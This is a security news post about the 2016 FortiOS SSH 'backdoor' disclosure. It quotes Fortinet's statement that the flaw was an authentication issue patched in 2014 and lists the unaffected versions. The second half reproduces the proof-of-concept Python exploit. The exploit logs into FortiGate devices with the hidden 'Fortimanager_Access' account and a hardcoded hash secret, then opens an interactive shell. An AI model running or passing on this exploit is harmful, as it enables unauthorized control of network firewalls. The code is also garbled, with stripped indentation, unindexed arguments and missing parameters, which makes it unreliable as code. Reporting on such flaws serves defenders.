It was stated that an SSH "backdoor" was identified in Fortinet Fortigate products and the proof-of-concept source code was posted on the Full Disclosure mailing list.
Fortinet released a brief statement regarding the issues found with FortiOS on January 12, 2016. The brief statement says that the issue that was recently disclosed publicly was resolved and a patch was made available in July 2014.
Fortinet stated that: "This was not a “backdoor” vulnerability issue but rather a management authentication issue. The issue was identified by our Product Security team as part of their regular review and testing efforts. After careful analysis and investigation, we were able to verify this issue was not due to any malicious activity by any party, internal or external."
You are not affected by this issue if you are using:
FortiOS v4.3.17 or any later version of FortiOS v4.3 (available as of July 9, 2014)
FortiOS v5.0.8 or any later version of FortiOS v5.0 (available as of July 28, 2014)
Any version of FortiOS v5.2 or v5.4
Otherwise, you need to immediately update your FortiOS product. See the Product Security Advisory for further information.
Fortinet has made it clear that anyone who wishes to responsibly disclose a security issue to Fortinet is encouraged to contact them by following the information on this page: www.fortiguard.com/psirt
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>
from paramiko.py3compat import u
def custom_handler(title, instructions, prompt_list):
n = prompt_list
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv + ' <target-ip>'
client = paramiko.SSHClient()
client.connect(sys.argv, username='', allow_agent=False, look_for_keys=False)
trans = client.get_transport()
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
r, w, e = select.select([chan, sys.stdin], , )
if chan in r:
x = u(chan.recv(1024))
if len(x) == 0:
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
if __name__ == '__main__':